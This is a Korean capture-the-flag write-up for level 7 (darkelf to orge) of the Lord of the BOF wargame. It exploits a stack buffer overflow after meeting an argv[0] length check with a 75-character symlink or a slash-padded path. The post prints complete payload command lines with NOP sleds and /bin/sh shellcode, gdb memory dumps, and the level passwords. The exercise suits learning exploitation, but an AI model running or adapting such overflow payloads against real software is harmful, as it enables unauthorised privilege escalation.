[해커스쿨 LOB] Level7: Darkelf >> Orge

두비니

·

2020. 7. 19. 02:33

 

 

 


Level 7. Darkelf >> Orge

Theme: Check argv[0] (Symbolic Link)


 

로그인

id: darkelf
pw: kernel crashed

 

bash2 필수필수~

[darkelf@localhost darkelf]$ bash2
[darkelf@localhost darkelf]$ nl orge.c
     1  /*
     2          The Lord of the BOF : The Fellowship of the BOF
     3          - orge
     4          - check argv[0]
     5  */

     6  #include <stdio.h>
     7  #include <stdlib.h>

     8  extern char **environ;

     9  main(int argc, char *argv[])
    10  {
    11          char buffer[40];
    12          int i;

    13          if(argc < 2){
    14                  printf("argv error\n");
    15                  exit(0);
    16          }

    17          // here is changed!
    18          if(strlen(argv[0]) != 77){
    19                  printf("argv[0] error\n");
    20                  exit(0);
    21          }

    22          // egghunter
    23          for(i=0; environ[i]; i++)
    24                  memset(environ[i], 0, strlen(environ[i]));

    25          if(argv[1][47] != '\xbf')
    26          {
    27                  printf("stack is still your friend.\n");
    28                  exit(0);
    29          }

    30          // check the length of argument
    31          if(strlen(argv[1]) > 48){
    32                  printf("argument is too long!\n");
    33                  exit(0);
    34          }

    35          strcpy(buffer, argv[1]);
    36          printf("%s\n", buffer);

    37          // buffer hunter
    38          memset(buffer, 0, 40);
    39  }

 

제한조건

1. 환경변수 사용 불가능 (egghunter)

2. 버퍼에 입력 불가능 (buffer hunter)

3. argv[1]의 48번째 바이트는 '\xbf'여야 함 (stack is still your friend)

4. argv[1] 길이 48 초과 불가능 (check the length of argument)

5. argv[0]의 길이가 77이여야 합니다. (here is changed!) **new**

 

 

스택구조는 다음과 같습니다.

 

전단계 재탕ㅎ

사실 전단계 스택 재탕했는데, 오늘 이용할 argv[2]는 argv[1] 밑에(높은주소로) 바로 붙게 됩니다. 어차피 좀이따가 레지스터 분석하면 알게됩니다.

 

 

그럼 일단 5번에 대해서 생각해봅시다. argv[0]은 파일명을 저장하는 부분이다. 예를 들어 우리가 orge프로그램을 실행시킬 때

 

./orge `python -c 'print "A"*20'`

 

이런식으로 입력하게 되는데, 이때 argv[0]에는 "./orge"가 저장되게 됩니다. 즉 이 파일명의 길이가 77이 되어야 한다는 소리인데... 저 문자열은 5밖에 되지 않습니다. 꼼수부려서 /home/darkelf/orge로 해도 18글자밖에 안되네요.

 

이름을 직접 바꾸자니 권한이 없어서 맘대로 바꾸지 못하고, 그렇다고 복사를 해버리면 권한을 잃어버리니 비밀번호를 얻는게 불가능해지네요. 이를 해결할 수 있는 방법이 없을까요?

 

 

이 문제를 풀기 위해서는 "심볼릭 링크"라는 것을 알고 있어야 합니다.

5. 5

7

심볼릭 링크에 대해서는 https://4urdev.tistory.com/49

 

Linux Symbolic Link - 심볼릭 링크 생성 및 삭제

심볼링 링크.. 단어가 크게 와닿지 않지만, 그저 링크라고 생각하면 됩니다. 윈도우에서 바로가기 같은 개념인데, Console 을 주로 이용하는 Linux 의 경우, 명령어를 조금만 잘못 입력하면 문제가 ��

4urdev.tistory.com

 

 

심볼릭 링크를 설정하는 명령어는 ln -s (원본파일) (링크파일) 로 설정합니다.

 

예를 들어서 ln -s orge link를 통해 orge의 링크파일을 생성해주고, ./link를 실행할 경우, 프로그램이 실행되면서 argv[0]에는 "./link"가 들어가게 됩니다. 그렇다면 link대신 적당한 길이의 문자열을 orge의 심볼릭 링크로 지정할 경우, 새로운 제한조건이였던 5. argv[0]의 길이가 77이여야 합니다. (here is changed!)을 만족할 수 있게됩니다.

 

그럼 풀이해봅시다. 

전단계 문제와 동일하게 argv[1]을 이용해도 되지만, 다른 방법도 서술해보기 위해 이번에는 argv[2]를 사용해 보도록 하겠습니다. 당연히 쉘코드를 argv[1]에 넣는 방법도 가능합니다.

 

그러면 다음과 같이 페이로드를 짤 수 있겠죠?

 

./(바꾼 파일 이름) `python -c 'print "\x90"*44 + "argv[2]주소"'` `python -c 'print "\x90"*100 + "shellcode"'`

 

이렇게 전달하면 주황색 부분은 argv[1]로, 초록색 부분은 argv[2]로 들어가게 됩니다. (매개변수는 스페이스로 구분)

그럼 일단 orge에 링크를 먼저 걸어줍시다.

총 길이 77에서 "./"의 글자수인 2를 뺀 75을 파일명의 길이로 설정해주면 됩니다.

 

[darkelf@localhost darkelf]$ ln -s orge `python -c 'print "A"*75'`
[darkelf@localhost darkelf]$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
orge
orge.c

짜잔

노가다하지 마시고 python으로 넘기시길!

 

근데 하고나서 생각났는데 어차피 AAAA...파일은 권한이 없어 core파일이 발생하지 않습니다. 분명히 darkelf권한이여서 될텐데 안되더라구요. 어쩔수없이 결국 orge를 BBB....파일로 복사시켜서 확인했고, 이럴거면 복사 먼저하고 그다음에 심볼릭씌울걸...

 

 

아무튼 그러면 argv[2]의 길이만 알면 되니 core분석합시다.

core분석을 잘 모르겠다면: https://dokhakdubini.tistory.com/211

 

[linux] gdb에서 core사용하기

GDB에서 core 사용하기 gdb로 분석을 하다보면, 내가 맞다고 생각했던 payload가 답이 아닐 때가 있습니다. 특히 Segmentation Fault같은 에러가 발생하면 뒷목잡기를 유발하죠. 이는 파일이 직접 실행되면

dokhakdubini.tistory.com

 

 

[darkelf@localhost darkelf]$ cp orge `python -c 'print "B"*75'`
[darkelf@localhost darkelf]$ `python -c 'print "./"+"B"*75'` `python -c 'print "\x90"*44+"\xbf\xbf\xbf\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
Segmentation fault (core dumped)

아무튼 core분석 해봅시다.

 

[darkelf@localhost darkelf]$ gdb -q -c core
Core was generated by `./BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB ▒'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/100x $esp
0xbffff9e0:     0x00000000      0xbffffa24      0xbffffa34      0x40013868
0xbffff9f0:     0x00000003      0x08048450      0x00000000      0x08048471
0xbffffa00:     0x08048500      0x00000003      0xbffffa24      0x08048390
...(생략)
0xbffffaf0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb00:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb10:     0x00000000      0x00000000      0x36690000      0x2e003638
0xbffffb20:     0x4242422f      0x42424242      0x42424242      0x42424242
0xbffffb30:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffb40:     0x42424242      0x42424242      0x42424242      0x42424242
---Type <return> to continue, or q <return> to quit---
0xbffffb50:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffb60:     0x42424242      0x42424242      0x42424242      0x90909000
(gdb) x/100x 0xbffffb60
0xbffffb60:     0x42424242      0x42424242      0x42424242      0x90909000
0xbffffb70:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb80:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb90:     0x90909090      0x90909090      0xbfbfbf90      0x909000bf
0xbffffba0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffbb0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffbc0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffbd0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffbe0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffbf0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc00:     0xc0319090      0x2f2f6850      0x2f686873      0x896e6962
0xbffffc10:     0x895350e3      0xb0c289e1      0x0080cd0b      0x00000000
0xbffffc20:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc30:     0x00000000      0x00000000      0x00000000      0x00000000
...(생략)

 

 

보니깐 0xbffffb20이 있는 줄부터 argv[0]인 BBBB....가 들어가는걸 볼 수 있고, 그 바로 뒤인 0xbffffb60줄부터 argv[1]이, 그리고 0xbffffb90줄부터 argv[2]가 들어가있는 것을 확인할 수 있습니다. 리턴주소는 넉넉하게 잡아서 0xbffffbb0로 잡았습니다.

 

 

[darkelf@localhost darkelf]$  `python -c 'print "./"+"A"*75'` `python -c 'print "\x90"*44+"\xb0\xfb\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
bash$ id
uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf)
bash$ my-pass
euid = 507
timewalker

굳굳

 

 

 

+) 꼼수..? 라고 하기엔 뭐하지만 이런 풀이방법도 있습니다.

 

파일을 실행시킬 때, 보통 /home/darkelf/orge나 ./orge의 방식으로 실행시키게되는데, 이때 이 "/"는 그냥 디렉토리를 나눠주는 역할이라, 아무것도 입력하지 않고 .////orge라고 입력해도 ./orge와 동일하게 작동합니다. 그러면 ".orge"의 5글자를 제외한 72글자를 /로 채워주면 됩니다. tmp파일에서 진행하도록 하겠습니다.

 

[darkelf@localhost darkelf]$ mkdir tmp
[darkelf@localhost darkelf]$ cd tmp
[darkelf@localhost tmp]$ cp ~/orge .	//이 상위파일에 있는 orge파일(~/orge)을 여기로(.) 복사시켜줘
[darkelf@localhost tmp]$ ls
orge
[darkelf@localhost tmp]$ `python -c 'print "."+"/"*72+"orge"'` a
stack is still your friend.

 

파일을 실행시켰을 때 argv 에러가 아닌 스택 에러가 뜨는 걸 봐서 argv제한조건을 만족시킨 것을 알 수 있습니다. 이후 풀이방법은 같아서 pass!

 

[darkelf@localhost tmp]$ ln -s ~/orge orge
[darkelf@localhost tmp]$ `python -c 'print "."+"/"*72+"orge"'` `python -c 'print "\x90"*44+"\xb0\xfb\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
bash$ id
uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf)
bash$ my-pass
euid = 507
timewalker

 

이때 tmp파일에서 복사한 파일로 진행할 거면 복사한 파일에 심볼릭링크를 걸고 풀이를 진행해야 권한이 따집니다. 아니면 복사된 파일에서 bash가 따져서 orge가 아닌 그냥 darkelf로 권한이 따집니다.

아무튼 잘 되는걸 볼 수 있네요.

 

그래도 뭔가 심볼릭 링크를 쓰라는게 문제의도가 아닐까싶어 심볼릭링크를 먼저 풀이로 썼습니다.

수고하셨습니다. 다음!

 

*new*